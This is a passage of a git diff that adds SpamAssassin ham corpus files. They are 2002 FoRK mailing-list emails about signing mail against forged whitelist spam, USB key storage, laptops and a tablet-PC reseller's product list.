passphrases when sending email. USB fobs, smart +> cards or other removable hardware are not yet widespread. + +Bad assumption. + +A reasonable UI would have me enter my passphrase *at most* each +time I launch my mail program -- never more than once per day, +sometimes once per week. + +For some of myy workstations, I'd even be happy with the necessary +signing key being cached on disk, so signing is automatic when I +hit 'send'. + +If spammer code can read my local hard disk, I have bigger problems +than spoofed spam. + +- Gordon + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01014.d86f7cf4bda937a58e7af5aef3f71649 b/bayes/spamham/easy_ham_2/01014.d86f7cf4bda937a58e7af5aef3f71649 new file mode 100644 index 0000000..5b444bb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01014.d86f7cf4bda937a58e7af5aef3f71649 @@ -0,0 +1,103 @@ +From fork-admin@xent.com Mon Aug 12 11:11:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2AF374417C + for ; Mon, 12 Aug 2002 05:57:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:18 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BMpob17088 for ; + Sun, 11 Aug 2002 23:51:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 560D5294190; Sun, 11 Aug 2002 15:50:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tux.w3.org (tux.w3.org [18.29.0.27]) by xent.com (Postfix) + with ESMTP id 23EDB294142 for ; Sun, 11 Aug 2002 15:49:49 + -0700 (PDT) +Received: from w3.org (IDENT:root@tux.w3.org [18.29.0.27]) by tux.w3.org + (8.9.3/8.9.3) with ESMTP id SAA15363; Sun, 11 Aug 2002 18:50:50 -0400 +Message-Id: <3D56F02E.8060909@w3.org> +From: Dan Brickley +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1a) Gecko/20020610 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Gordon Mohr +Cc: fork +Subject: Re: Forged whitelist spam +References: + <005301c24179$ac92b820$640a000a@golden> +X-Enigmail-Version: 0.63.3.0 +X-Enigmail-Supports: pgp-inline, pgp-mime +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 23:15:58 +0000 + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + + + +Gordon Mohr wrote: +> Eugen Leitl writes: +> +>>On Sun, 11 Aug 2002, Gordon Mohr wrote: +>> +>>>If you crypto-sign your outgoing mail, you don't have to set your +>>>mailwall whitelist to accept unsigned mail spoofed as being from you. + +Yup, I've been meaning to cobble together procmail + script for this, as +a few Google searches didn't turn up anything. Did anyone here get there +first? + +(I guess I want a config file of mailboxes who normally sign their mail, +and procmail that runs gpg and adds headers...) + +>>Users don't like entering passphrases when sending email. USB fobs, smart +>>cards or other removable hardware are not yet widespread. +> +> Bad assumption. +> +> A reasonable UI would have me enter my passphrase *at most* each +> time I launch my mail program -- never more than once per day, +> sometimes once per week. + +FWIW, the 'Enigmail' add-on for Mozilla's mail client has it happily +talking to GPG (and I believe PGP). You can choose how long it remembers +your passphrase for, default is 15 mins. + +see http://enigmail.mozdev.org/ + +This feature was enough to get my off my Pine habit, since (to answer +the original question) the combination of SpamAssassin and shared +whitelists means that forged 'From:' headers are pretty much the only +spam I see in my inbox now. + +Dan + + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org + +iD8DBQE9VvAyPhXvL3Mij+QRAkDdAJ4m/LO7Y0aki66H5AIwbmsX8Q/PegCfSQgI +ZW2XmlcnQtrzALPimthvlr8= +=wdf/ +-----END PGP SIGNATURE----- + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01015.55fdae83b98b384cd16d7bd801fac601 b/bayes/spamham/easy_ham_2/01015.55fdae83b98b384cd16d7bd801fac601 new file mode 100644 index 0000000..b235467 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01015.55fdae83b98b384cd16d7bd801fac601 @@ -0,0 +1,62 @@ +From fork-admin@xent.com Mon Aug 12 11:11:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 335514410A + for ; Mon, 12 Aug 2002 05:57:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:21 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7C5Dpb30516 for ; + Mon, 12 Aug 2002 06:13:52 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 79C3F29419F; Sun, 11 Aug 2002 22:12:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (oe18.law12.hotmail.com [64.4.18.122]) by + xent.com (Postfix) with ESMTP id 46FDC2940C2 for ; + Sun, 11 Aug 2002 22:12:00 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sun, 11 Aug 2002 22:13:06 -0700 +X-Originating-Ip: [66.92.145.79] +Reply-To: "Bill Kearney" +From: "Bill Kearney" +To: +References: <20020811211003.3718.26806.Mailman@lair.xent.com> +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4807.1700 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Message-Id: +X-Originalarrivaltime: 12 Aug 2002 05:13:06.0101 (UTC) FILETIME=[F0E64650:01C241BE] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 01:13:04 -0400 + +> > You mean like on mac keyboards :-) + +Or any of the Microsoft USB keyboards. I've an MS Internet Pro unit with two +ports off it's hub. + +I've considered using the 64mb flash unit in one of them as storage for keys. +Unfortunately the KVM switching would drive the client programs crazy when +switching between the machines. + +-Bill Kearney +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01016.97115661350c754ad169c6bc4da762ec b/bayes/spamham/easy_ham_2/01016.97115661350c754ad169c6bc4da762ec new file mode 100644 index 0000000..7324115 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01016.97115661350c754ad169c6bc4da762ec @@ -0,0 +1,62 @@ +From fork-admin@xent.com Mon Aug 12 11:11:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3890F4417E + for ; Mon, 12 Aug 2002 05:57:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7C5JFb30674 for ; + Mon, 12 Aug 2002 06:19:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7561F2941A3; Sun, 11 Aug 2002 22:15:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (oe34.law12.hotmail.com [64.4.18.91]) by + xent.com (Postfix) with ESMTP id D9CE62941A2 for ; + Sun, 11 Aug 2002 22:14:00 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sun, 11 Aug 2002 22:15:06 -0700 +X-Originating-Ip: [66.92.145.79] +Reply-To: "Bill Kearney" +From: "Bill Kearney" +To: +References: <20020811211003.3718.26806.Mailman@lair.xent.com> +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4807.1700 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Message-Id: +X-Originalarrivaltime: 12 Aug 2002 05:15:06.0688 (UTC) FILETIME=[38C66400:01C241BF] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 01:13:04 -0400 + +> > You mean like on mac keyboards :-) + +Or any of the Microsoft USB keyboards. I've an MS Internet Pro unit with two +ports off it's hub. + +I've considered using the 64mb flash unit in one of them as storage for keys. +Unfortunately the KVM switching would drive the client programs crazy when +switching between the machines. + +-Bill Kearney +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01017.5e7047bbad140905675aca57330096e0 b/bayes/spamham/easy_ham_2/01017.5e7047bbad140905675aca57330096e0 new file mode 100644 index 0000000..a691203 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01017.5e7047bbad140905675aca57330096e0 @@ -0,0 +1,62 @@ +From fork-admin@xent.com Mon Aug 12 11:11:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1795044109 + for ; Mon, 12 Aug 2002 05:57:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7C5NZb30712 for ; + Mon, 12 Aug 2002 06:23:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8CC2D2941A7; Sun, 11 Aug 2002 22:17:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (oe21.law12.hotmail.com [64.4.18.125]) by + xent.com (Postfix) with ESMTP id E85472941A6 for ; + Sun, 11 Aug 2002 22:16:03 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sun, 11 Aug 2002 22:17:09 -0700 +X-Originating-Ip: [66.92.145.79] +Reply-To: "Bill Kearney" +From: "Bill Kearney" +To: +References: <20020811211003.3718.26806.Mailman@lair.xent.com> +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4807.1700 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Message-Id: +X-Originalarrivaltime: 12 Aug 2002 05:17:09.0748 (UTC) FILETIME=[821FDB40:01C241BF] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 01:13:04 -0400 + +> > You mean like on mac keyboards :-) + +Or any of the Microsoft USB keyboards. I've an MS Internet Pro unit with two +ports off it's hub. + +I've considered using the 64mb flash unit in one of them as storage for keys. +Unfortunately the KVM switching would drive the client programs crazy when +switching between the machines. + +-Bill Kearney +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01018.cb98ac59fae50ab0823aba7483d37d50 b/bayes/spamham/easy_ham_2/01018.cb98ac59fae50ab0823aba7483d37d50 new file mode 100644 index 0000000..9afedfd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01018.cb98ac59fae50ab0823aba7483d37d50 @@ -0,0 +1,287 @@ +From fork-admin@xent.com Mon Aug 12 11:11:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CE6524417F + for ; Mon, 12 Aug 2002 05:57:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7C5btb31187 for ; + Mon, 12 Aug 2002 06:37:56 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B85FD2941AB; Sun, 11 Aug 2002 22:36:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sierra.birch.net (sierra.birch.net [216.212.0.61]) by + xent.com (Postfix) with ESMTP id 7BF182941AA for ; + Sun, 11 Aug 2002 22:35:06 -0700 (PDT) +Received: (qmail 25580 invoked from network); 12 Aug 2002 05:35:58 -0000 +Received: from unknown (HELO there) ([216.212.1.169]) (envelope-sender + ) by mailserver.birch.net (qmail-ldap-1.03) with SMTP for + ; 12 Aug 2002 05:35:58 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Steve Nordquist +To: fork@spamassassin.taint.org +Subject: Re: Re[3]: Forged whitelist spam +X-Mailer: KMail [version 1.3.2] +References: + <275599992.20020811152042@magnesium.net> +In-Reply-To: <275599992.20020811152042@magnesium.net> +MIME-Version: 1.0 +Message-Id: <20020812053506.7BF182941AA@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 23:34:48 -0600 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7C5btb31187 + +&> EL> Yeah, I was thinking of the G4 keyboard when I wrote this. Otherwise ousy +&> EL> feel and key placement, though. (That's why I'm holding on to +&> EL> My IBM Model M Space Saver. Once I get an PS2 to USB converter, I +&> EL> expect it will outlive several generations of computer hardware). + +The Fingerworks dvorty ergo keyboards are pretty good for that; unfold, plug +the USB port and go, but you don't get the angle unless you put the castiron +(sort of) bracket (and optional gel palm-rests) in your pack. Big airport fun there. +The flexi-PCB connecting the halves is probably only good for 100,000 flexes too. +(The keyboard is $200-400, hence minor concern.) + +Kind of useless for keysigning though; is it not law that when you have to sign, +you will be packed and ready to leave/arrive elsewhere? Thats why F-u-F-mi +is such a handy accessible proxy signing method and Dragon Naturally +Authorized canceled its IPO. + Seriously, the nifty Palm thing where you enter your password +and (or by) a series of naturally cryptic buttonpressed and screentaps is a +good method. Keyed steganography (<---bad term! sorry) is it until I +hear more about spoofed braille. + + + +[the below digresses to laptopianism] + + + +&> EL> Very good for sticking in USB fobs into, though. CRTs/LCD panels are + even &> EL> better for that, though. + +The DPMS connector is supposed to do -what- again? + + +&> >> near close to keyboard/usb connection as one can get, without the real +&> >> thing) + +&> EL> I think laptops are largely useless because of the battery and the +&> EL> keyboard issue. + +Once you get something to cut the backlight power low when not needed for +image proofing (or off, in case of FLCD) and cache CDs as virtual devices, +is battery life still bad? + +&> Dunno.. Some of the new Sonys (I'm hunting again for a lappy, as the +&> Toshiba I have is a large piece of cow manure) which promise a 4 hour +&> battery life off of ONE battery are pretty damn impressive. As far as +&> the keyboard issue, the Toshiba actually came out with a good +&> keyboard, nearly equivalent to most standard keyboards (Not ergonomic, +&> alas, but I have a USB happy ergo keyboard I can always plug in if I +&> get restless). I can't imagine surviving at Law school without a +&> lappy, but thats just me. + +Once used to being surrounded by lawyers with webcams, +I cant imagine being flummoxed dealing with courts. + +Lots of the tabletPCs have daylight readable FLCDs. (From looking +at http://www.infocater.com I don't know where you'll get Microsoft +Tablet OS though.) An item from their handy pres. below. + + +So after looking at Transmetazone, tell me where (also) stateside I'm +supposed to be\ shopping for the new Made-for-Japan laptops? + +The Sony U series is all Crusoe, but then TigerDirect will be all grins +to sell you a lappad that gets you to 10h on a P4m...maybe a P4, who's to +say Tulatin P4s can't do that massive multithreading trick. +(Besides which, a brown cowpie-colored Dell 8200 with a +GeForce4Go400-32 is ca. $1550, before you buy car adapters +and firewire drives. Popular in OpenGL law school.) + +Revamping the Sony C1 every year strikes me as a cruel joke though, +and I don't know any tricks for using 1400x2800 virtual screens on +the lovely NEC LaVie MX and Versa Daylite (FLCDs, 1 yr old) or +Toshiba Libretto L5/080 knkw (the KW has 802.11b built in, maybe +not as good as the 22MBps version or .a) + +&> then again, I don't know what you do with your laptops, Gene :) + + +----8< ---ancillary.bar: disclaimer: Before the dollar fell below the euro. + Return-Path: +Dear Steve, + +Thank you for your inquiry regarding the Tablet PC's. + +InfoCater is a Tablet Computer Value Added Reseller and Systems Integrator that specializes in wireless tablet computers. + +We provide: + +> hardware selection expertise +> software application evaluation, specification, implementation and delivery +> extensive hands-on experience with all forms of touch screen and Tablet Computers. + +We work with you the way you prefer. + +We will listen to your needs, recommend the appropriate tablet, accessories and software, and be available to assist you as desired to make your project a success! Our services include product selection, consulting, training, implementation and custom development. + +We carry the complete line of Tablet PC's tablets and accessories. + +We have software solutions that you may find interesting, and even have Bluetooth products to eliminate cables to printers, mobile phones, bar code scanners, and other devices. + +Please let us know your exact specifications and the environment you will be using your tablets. + +Please visit http://www.infocater.com and select "specs" at the top of the page for more information and PDF files on our products and services. + +Some other details: + +Communicating: + +We strive to make it easy for you to communicate with is, using whatever method you prefer. + +Phone: + +You can call me at 617.969.6853 anytime it's convenient for you and we can discuss further. If you get a voice mail message, we apologize and if you leave your phone number and a convenient time to return the call we will get back to you as soon as possible. + +Email: + +Email also works well. Please Email gpalmer@infocater.com + +Shipping: + +The Tablet PC's and accessories are available for same day shipping. + +If you require a custom configuration, it will take a few weeks to get built to your specification. + +The shipping charges are based on the speed of service that you require. We insure all shipments + +Payment: + +We accept payment by credit card, purchase order or wire transfer, as you prefer. + +We look forward to working with you and serving your tablet computer needs. + + +Regards, + + +Geoff + + +Geoffrey Palmer +President +InfoCater, Inc. + +14 Buswell Park +Newton, MA 02458 + +Email: gpalmer@infocater.com +WWW: http://www.infocater.com + +Phone: 617-969-6853 +Fax: 508-448-8375 +IM: Yahoo: infocater AOL: infocaterinc + +-------------------------------------------------------------------------------------------------------------------------------------------- +Product Information: + +ViewSonic ViewPad 1000 Tablet PC - SAME DAY SHIPPING AVAILABLE + +The ViewPad 1000 is a full function PC featuring a 10.0 GB hard drive, an 800 MHz Intel Celeron processor and Microsoft Windows 2000 Professional operating system, all in an easy-to-use tablet design. Built for connectivity, the ViewPad 1000 come equipped with built-in WAN, LAN, and WiFi (802.11b) wireless LAN connectivity, giving users network access in nearly any environment. This innovative device gives users mobile access to information, captures, sends and receives live images (it's got a built-in digital camera), and shares information of all kinds for a rich multimedia viewing experience. + +The 10.4 inch high-resolution touch screen makes for easy navigation with the touch of a finger or stylus. Accessories such as a docking station are also available. + +The price for the Microsoft Windows 2000 Professional based ViewSonic ViewPad 1000 is $1975. The optional docking station costs $299. + +Microsoft Internet Explorer 5.0, Microsoft Outlook Express, Microsoft NetMeeting, Microsoft Windows Media player, Adobe Acrobat Reader, handwriting recognition and a virtual keyboard are included. + +The unit has an 10.4 inch 800 x 600 High Luminance SVGA resistive touch screen display that can be used either in portrait or landscape mode, 128 MB RAM (expandable to 512MB), a 10 GB hard disk drive, two USB ports, an open type II PCMCIA slot, an infrared wireless keyboard port (keyboard included) and an infrared data port. In addition, a VGA port is available for an external monitor at up to 1024x768. The ViewPad 1000 is powered by a 800 MHz Intel Mobile Celeron. + +-------------------------------------------------------------------------------------------------------------------------------------------- +Fujitsu Stylistic 3500 and LT-P600: + +The Fujitsu Stylistic 3500 and LT-P600 products are available in several configurations depending on disk, screen, memory capacity and wireless options. The prices range from $3559 to $3859 and offer the choice of Windows 2000 or Windows 98. The screen options include models for indoor, outdoor or both indoor and outdoor use. Screen resolution options are 800x600 or 1024x768. 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The unit features a PCMCIA slot and a CF slot which enable you to insert either a 802.11b WLAN card or a cellular based WAN card (not included). + +Internet Explorer 4.0 with Java Virtual Machine and Macromedia Flash support are included, as are viewers for many types of files, PTab Spreadsheet software (Microsoft Excel compatible), Citrix ICA 6.0 and Microsoft RDP 5.0, Microsoft Inbox, Microsoft Pocket Word, PowerPoint, Pocket On-Schedule and Primer PDF Viewer. + +The unit features Microsoft ActiveSync, handwriting recognition software, and a virtual keyboard. + +The unit has an 10 inch 800 x 600 High Luminance SVGA resistive touch screen display that can be used either in portrait or landscape mode, 128 MB RAM and 32MB Flash, one USB port, an open type II PCMCIA slot and an open type II CompactFlash slot . In addition, a VGA port is available for an external monitor at up to 1024x768. The ViewPad 100 is powered by a 206 MHz Intel StrongARM SA-1110. + +-------------------------------------------------------------------------------------------------------------------------------------------- +Honeywell WebPAD II - SAME DAY SHIPPING AVAILABLE + +The Honeywell WebPad II is an information appliance with wireless high speed connection to the Internet that enables you to surf the web, send and receive email, and enter information via a pop-up touch screen keyboard. + +The price for the Microsoft Windows CE 3.0 based Honeywell WebPad II with integrated 802.11b wireless card, cradle and power supply is $1625. Microsoft Internet Explorer 4.0 with Java Virtual Machine and Macromedia Flash support are included, as are viewers for many types of files, Citrix ICA and Microsoft RDP, Microsoft Windows Media player, Microsoft Inbox and Microsoft Pocket Word. + +The unit has an 10 inch 800 x 600 TFT active matrix touch screen SVGA display with pop-up keyboard, 64 MB RAM and 32MB Flash, one USB port and an open type II CompactFlash slot. The unit is powered by a National Semiconductor 300 MHz Geode GS1 processor. + +If you do not have an 802.11b access point, I recommend the Dlink DI-713P which costs $250. + +-------------------------------------------------------------------------------------------------------------------------------------------- +FIC AquaPAD - SAME DAY SHIPPING AVAILABLE + +AquaPAD combines the functionality and power of a cumbersome notebook with the convenience and simplicity of a PDA. This compact handheld Internet appliance offers high-speed wireless Internet access and can communicate with Bluetooth™-enabled devices. With its two USB inputs, a PCMCIA Type II slot, and a Compact Flash slot, there is truly no limit to AquaPAD's functionality. Additionally, AquaPAD comes loaded with Windows® CE and a full suite of utilities, including MS Word. The AquaPAD features a complete, highly rich, multimedia capability. With AquaPAD, the ability to surf the web, read a book, listen to a MP3, or watch a MPEG movie is right in the palm of your hand-literally! + +Whether you need to access a local network or the Internet, the AquaPAD is the only solution to provide the power and capability to harness all the possibilities of wireless. + +When it comes to performance, the AquaPAD takes no prisoners. The AquaPAD offers an incredibly fast 500MHz Transmeta Crusoe 5400 processor coupled with 128MB of SDRAM memory-so you'll have all the power you need. Plus, with the Crusoe's special energy saving design, you'll enjoy up to 3+ hours of battery life. The AquaPAD comes loaded with MS Windows® CE -and all of the functionality that comes with them. Plus, with our suite of utilities, the AquaPAD is immediately ready to get down to business. + +Windows CE 3.0, Windows 2000*, Windows Me* and Linux versions available! + +The FIC AquaPAD is $1,399 with a Cisco 802.11b wireless card with your choice of CE or Linux. + +* Optional IBM 1GB Microdrive required for Windows 2000 ($499) or Windows Me($399). + +Spare batteries are $139, and a cradle that can charge both the AquaPAD and a second battery is $79. + +-------------------------------------------------------------------------------------------------------------------------------------------- +Siemens SIMpad SL4 - SAME DAY SHIPPING AVAILABLE + +The Siemens SIMpad SL4 includes a brilliant color TFT touchscreen which shows a complete HTML page, recognizes handwriting, is PC Card enabled, uses Windows CE, and links effortlessly and wirelessly in just ten seconds to the web or to your LAN. This ligheweight tablet features an 8.4" TFT touchscreen, SVGA (800 x 600 pixel), 16 bit colors (65536 colors), photo quality display. The proccessor is an Intel StrongARM 1110, 206 MHz 32-bit RISC. There is a PC-Card-Slot, RS-232, IrDA, SmartCard, headset connection and a Li-Ion battery. There is 64MB RAM and 32 MB Flash. The operating system is Microsoft Windows CE 3.0 for Handheld PC 2000. The software included in the standard package is MS Internet Explorer 4.0 for HPC, MS Pocket Outlook (Inbox, Tasks, Calendar, Contacts), MS Pocket Office (Word, Excel, Powerpoint, Access), MS Pocket Paint, Jot handwriting recognition, Java Virtual Machine, Terminal Server Client, Electronic Notebook, Calculator, Games, Macromedia Flash player, Virtual Keyboard. The standard package inclused the SIMpad SL4, AC adapter, power cable, serial cable, stylus pens, software CD-ROM, manuals for $1495, and a cradle with charger is $70. + +-------------------------------------------------------------------------------------------------------------------------------------------- +Fujitsu PenCentra 200: + +The Fujitsu PenCentra products are available in several configurations depending on the operating system, wireless and screen selections. The prices range from $1500-1600 and offer the choice of Windows CE or Windows CE H/PC 2000. The screen options include models for indoor or outdoor use. Screen resolution is 640x480. These products are built to your specific configuration and usually take about two weeks to deliver. + +-------------------------------------------------------------------------------------------------------------------------------------------- +Advantech MobiPanel 100 + +InfoCater proudly introduces its first ruggedized web tablet, the MobiPanel 100, a portable wireless Windows CE-based appliance combining data capture and communication technology. The MobiPanel 100 is designed to provide mobile professionals a real time wireless solution to access information from remote databases via the Internet or an Intranet. The MobiPanel 100 is ideal for applications in retail, healthcare, warehousing, home networking, manufacturing process monitoring, hospitality, logistic support and on-site service. This is essentially a ruggedized version of the ViewSonic ViewPad 100 with an integrated 802.11 wireless card and antenna. + +The I/O ports, LCD panel and internal circuitries of the MPC-100 have been designed to resist spill and water damage. The product is dust-resistant with protected LCD, sealed ports and card slots for protection against unexpected accidents and damages. These features have been approved by the IP53 standard. + + +The I/O ports, LCD panel and internal circuitries of the MPC-100 have been designed to resist spill and water damage. The product is dust-resistant with protected LCD, sealed ports and card slots for protection against unexpected accidents and damages. These features have been approved by the IP53 standard. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01019.4712522736adca9b2719a82eedf29336 b/bayes/spamham/easy_ham_2/01019.4712522736adca9b2719a82eedf29336 new file mode 100644 index 0000000..c09e612 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01019.4712522736adca9b2719a82eedf29336 @@ -0,0 +1,70 @@ +From fork-admin@xent.com Mon Aug 12 11:11:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 208D34417D + for ; Mon, 12 Aug 2002 05:57:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7C14qb23814 for ; + Mon, 12 Aug 2002 02:04:52 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CDE8629419B; Sun, 11 Aug 2002 18:03:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id BD88B294196 for ; + Sun, 11 Aug 2002 18:02:32 -0700 (PDT) +Received: from maya.dyndns.org (ts5-022.ptrb.interhop.net + [165.154.190.86]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7C0c2W03139 for ; Sun, 11 Aug 2002 20:38:03 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id C78831C3B6; + Sun, 11 Aug 2002 21:03:06 -0400 (EDT) +To: +Subject: Re: Spam spam spam +References: <001101c24157$4a20f7f0$6a906c42@damien> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 11 Aug 2002 21:03:06 -0400 + +>>>>> "D" == Damien Morton writes: + + D> An alternative, which I have found very effective in reducing + D> my spam levels, is to reject emails to multiple or undisclosed + D> recipients, unless from someone in my whitelist (In this case, + D> subscribed members). + +I often use just such a posting to send emails to lists but also to +send them to private individuals who need not be publically exposed on +the list. This is what BCC is for. + +Where my spam filter draws the line is for emails which /only/ have +undisclosed recipients, or an obviously bogus recipient. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01020.148aeb8bb7ed8c4b55999254c156833f 